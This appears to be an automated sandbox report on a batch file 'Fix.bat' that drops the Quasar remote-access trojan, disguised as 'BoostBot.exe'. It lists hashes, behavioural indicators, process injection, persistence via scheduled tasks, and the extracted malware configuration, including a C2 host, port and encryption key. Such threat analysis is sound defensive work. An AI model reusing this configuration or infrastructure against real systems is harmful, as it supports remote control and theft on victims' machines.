Analysis
-
max time kernel
300s -
max time network
203s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
12-05-2024 19:01
Static task
static1
Behavioral task
behavioral1
Sample
Fix.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Fix.bat
Resource
win10v2004-20240508-en
General
-
Target
Fix.bat
-
Size
621B
-
MD5
e235e723f57a72ef725306c3e14d4726
-
SHA1
9b2153053f8e89c300e32da5df32e9b990594aac
-
SHA256
aebe0bafeb12706e614a45f2df40518d32d502093517ce95e2d3c1bbfd64ca67
-
SHA512
0a4eda531be3904ae944d2c1c43755921cde4333a8e9d6bee6669e3de73b6c7859bb7ab3aa7a712fa2085d3fa1fb1d1ed14e5d6ed488a10bd2f6ab6ed049d25e
Malware Config
Extracted
quasar
3.1.5
RPad
even-lemon.gl.at.ply.gg:33587
$Sxr-okPqrmZ8kNVUcS4Rp0
-
encryption_key
XmcBnPuLlN1e8SHIRR1z
-
install_name
$sxr-powershell.exe
-
log_directory
$SXR-LOGS
-
reconnect_delay
3000
-
startup_key
$sxr-powershell
-
subdirectory
$sxr-seroxen2
Signatures
-
Quasar payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\BoostBot.exe family_quasar behavioral2/memory/4872-27-0x00000000004C0000-0x000000000052C000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.EXEdescription pid process target process PID 2960 created 612 2960 powershell.EXE winlogon.exe PID 4844 created 612 4844 powershell.EXE winlogon.exe PID 2204 created 612 2204 powershell.EXE winlogon.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Downloads MZ/PE file
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
$sxr-powershell.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation $sxr-powershell.exe -
Executes dropped EXE 5 IoCs
Processes:
BoostBot.exe$sxr-powershell.exeinstall.exeinstall.exeinstall.exepid process 4872 BoostBot.exe 1300 $sxr-powershell.exe 3328 install.exe 1964 install.exe 3224 install.exe -
Modifies file permissions 1 TTPs 1 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 26 raw.githubusercontent.com 27 raw.githubusercontent.com 31 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 19 ip-api.com -
Drops file in System32 directory 11 IoCs
Processes:
powershell.EXEsvchost.exesvchost.exesvchost.exepowershell.EXEpowershell.EXEdescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\System32\Tasks\$77$sxr-powershell.exe svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Tasks\$77svc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.EXEdescription pid process target process PID 2960 set thread context of 2064 2960 powershell.EXE dllhost.exe PID 4844 set thread context of 2392 4844 powershell.EXE dllhost.exe PID 2204 set thread context of 2972 2204 powershell.EXE dllhost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg wmiprvse.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeSCHTASKS.exeschtasks.exeSCHTASKS.exepid process 1220 schtasks.exe 2788 SCHTASKS.exe 736 schtasks.exe 2292 SCHTASKS.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEpowershell.EXEpowershell.EXEOfficeClickToRun.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe -
Modifies registry class 4 IoCs
Processes:
RuntimeBroker.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp RuntimeBroker.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exe$sxr-powershell.exewmiprvse.exepid process 2452 powershell.exe 2452 powershell.exe 2960 powershell.EXE 2960 powershell.EXE 4844 powershell.EXE 4844 powershell.EXE 2960 powershell.EXE 2064 dllhost.exe 2064 dllhost.exe 2064 dllhost.exe 2064 dllhost.exe 2064 dllhost.exe 2064 dllhost.exe 4844 powershell.EXE 2392 dllhost.exe 2392 dllhost.exe 1300 $sxr-powershell.exe 2064 dllhost.exe 2064 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 1300 $sxr-powershell.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 624 wmiprvse.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 1300 $sxr-powershell.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe 2392 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEpowershell.EXEdllhost.exedllhost.exesvchost.exedescription pid process Token: SeDebugPrivilege 2452 powershell.exe Token: SeDebugPrivilege 4872 BoostBot.exe Token: SeDebugPrivilege 1300 $sxr-powershell.exe Token: SeDebugPrivilege 2960 powershell.EXE Token: SeDebugPrivilege 4844 powershell.EXE Token: SeDebugPrivilege 2960 powershell.EXE Token: SeDebugPrivilege 2064 dllhost.exe Token: SeDebugPrivilege 4844 powershell.EXE Token: SeDebugPrivilege 2392 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 1796 svchost.exe Token: SeIncreaseQuotaPrivilege 1796 svchost.exe Token: SeSecurityPrivilege 1796 svchost.exe Token: SeTakeOwnershipPrivilege 1796 svchost.exe Token: SeLoadDriverPrivilege 1796 svchost.exe Token: SeSystemtimePrivilege 1796 svchost.exe Token: SeBackupPrivilege 1796 svchost.exe Token: SeRestorePrivilege 1796 svchost.exe Token: SeShutdownPrivilege 1796 svchost.exe Token: SeSystemEnvironmentPrivilege 1796 svchost.exe Token: SeUndockPrivilege 1796 svchost.exe Token: SeManageVolumePrivilege 1796 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1796 svchost.exe Token: SeIncreaseQuotaPrivilege 1796 svchost.exe Token: SeSecurityPrivilege 1796 svchost.exe Token: SeTakeOwnershipPrivilege 1796 svchost.exe Token: SeLoadDriverPrivilege 1796 svchost.exe Token: SeSystemtimePrivilege 1796 svchost.exe Token: SeBackupPrivilege 1796 svchost.exe Token: SeRestorePrivilege 1796 svchost.exe Token: SeShutdownPrivilege 1796 svchost.exe Token: SeSystemEnvironmentPrivilege 1796 svchost.exe Token: SeUndockPrivilege 1796 svchost.exe Token: SeManageVolumePrivilege 1796 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1796 svchost.exe Token: SeIncreaseQuotaPrivilege 1796 svchost.exe Token: SeSecurityPrivilege 1796 svchost.exe Token: SeTakeOwnershipPrivilege 1796 svchost.exe Token: SeLoadDriverPrivilege 1796 svchost.exe Token: SeSystemtimePrivilege 1796 svchost.exe Token: SeBackupPrivilege 1796 svchost.exe Token: SeRestorePrivilege 1796 svchost.exe Token: SeShutdownPrivilege 1796 svchost.exe Token: SeSystemEnvironmentPrivilege 1796 svchost.exe Token: SeUndockPrivilege 1796 svchost.exe Token: SeManageVolumePrivilege 1796 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1796 svchost.exe Token: SeIncreaseQuotaPrivilege 1796 svchost.exe Token: SeSecurityPrivilege 1796 svchost.exe Token: SeTakeOwnershipPrivilege 1796 svchost.exe Token: SeLoadDriverPrivilege 1796 svchost.exe Token: SeSystemtimePrivilege 1796 svchost.exe Token: SeBackupPrivilege 1796 svchost.exe Token: SeRestorePrivilege 1796 svchost.exe Token: SeShutdownPrivilege 1796 svchost.exe Token: SeSystemEnvironmentPrivilege 1796 svchost.exe Token: SeUndockPrivilege 1796 svchost.exe Token: SeManageVolumePrivilege 1796 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1796 svchost.exe Token: SeIncreaseQuotaPrivilege 1796 svchost.exe Token: SeSecurityPrivilege 1796 svchost.exe Token: SeTakeOwnershipPrivilege 1796 svchost.exe Token: SeLoadDriverPrivilege 1796 svchost.exe Token: SeSystemtimePrivilege 1796 svchost.exe Token: SeBackupPrivilege 1796 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 1300 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeBoostBot.exe$sxr-powershell.exepowershell.EXEdllhost.exedescription pid process target process PID 1488 wrote to memory of 1728 1488 cmd.exe certutil.exe PID 1488 wrote to memory of 1728 1488 cmd.exe certutil.exe PID 1488 wrote to memory of 2452 1488 cmd.exe powershell.exe PID 1488 wrote to memory of 2452 1488 cmd.exe powershell.exe PID 2452 wrote to memory of 4872 2452 powershell.exe BoostBot.exe PID 2452 wrote to memory of 4872 2452 powershell.exe BoostBot.exe PID 2452 wrote to memory of 4872 2452 powershell.exe BoostBot.exe PID 1488 wrote to memory of 4576 1488 cmd.exe icacls.exe PID 1488 wrote to memory of 4576 1488 cmd.exe icacls.exe PID 1488 wrote to memory of 4116 1488 cmd.exe reg.exe PID 1488 wrote to memory of 4116 1488 cmd.exe reg.exe PID 1488 wrote to memory of 3108 1488 cmd.exe attrib.exe PID 1488 wrote to memory of 3108 1488 cmd.exe attrib.exe PID 4872 wrote to memory of 1220 4872 BoostBot.exe schtasks.exe PID 4872 wrote to memory of 1220 4872 BoostBot.exe schtasks.exe PID 4872 wrote to memory of 1220 4872 BoostBot.exe schtasks.exe PID 4872 wrote to memory of 1300 4872 BoostBot.exe $sxr-powershell.exe PID 4872 wrote to memory of 1300 4872 BoostBot.exe $sxr-powershell.exe PID 4872 wrote to memory of 1300 4872 BoostBot.exe $sxr-powershell.exe PID 4872 wrote to memory of 3328 4872 BoostBot.exe install.exe PID 4872 wrote to memory of 3328 4872 BoostBot.exe install.exe PID 4872 wrote to memory of 3328 4872 BoostBot.exe install.exe PID 4872 wrote to memory of 2788 4872 BoostBot.exe SCHTASKS.exe PID 4872 wrote to memory of 2788 4872 BoostBot.exe SCHTASKS.exe PID 4872 wrote to memory of 2788 4872 BoostBot.exe SCHTASKS.exe PID 1300 wrote to memory of 736 1300 $sxr-powershell.exe schtasks.exe PID 1300 wrote to memory of 736 1300 $sxr-powershell.exe schtasks.exe PID 1300 wrote to memory of 736 1300 $sxr-powershell.exe schtasks.exe PID 1300 wrote to memory of 1964 1300 $sxr-powershell.exe install.exe PID 1300 wrote to memory of 1964 1300 $sxr-powershell.exe install.exe PID 1300 wrote to memory of 1964 1300 $sxr-powershell.exe install.exe PID 2960 wrote to memory of 2064 2960 powershell.EXE dllhost.exe PID 2960 wrote to memory of 2064 2960 powershell.EXE dllhost.exe PID 2960 wrote to memory of 2064 2960 powershell.EXE dllhost.exe PID 2960 wrote to memory of 2064 2960 powershell.EXE dllhost.exe PID 2960 wrote to memory of 2064 2960 powershell.EXE dllhost.exe PID 2960 wrote to memory of 2064 2960 powershell.EXE dllhost.exe PID 2960 wrote to memory of 2064 2960 powershell.EXE dllhost.exe PID 2960 wrote to memory of 2064 2960 powershell.EXE dllhost.exe PID 2064 wrote to memory of 612 2064 dllhost.exe winlogon.exe PID 2064 wrote to memory of 676 2064 dllhost.exe lsass.exe PID 2064 wrote to memory of 952 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 316 2064 dllhost.exe dwm.exe PID 2064 wrote to memory of 408 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 868 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1132 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1148 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1160 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1176 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1192 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1320 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1348 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1368 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1428 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1596 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1604 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1644 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1716 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1756 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1764 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1856 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 1992 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 2000 2064 dllhost.exe svchost.exe PID 2064 wrote to memory of 2036 2064 dllhost.exe svchost.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:612
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:316
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{00eca804-5229-42b0-9a24-a13594b6ae71}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2064 -
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2a325d82-23e9-4c30-b296-202ad43a1b1d}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2392 -
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e77d91e6-43ca-4ca4-9999-d94b4ecf3a5f}2⤵PID:2972
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:408
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:868
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1132 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2180
-
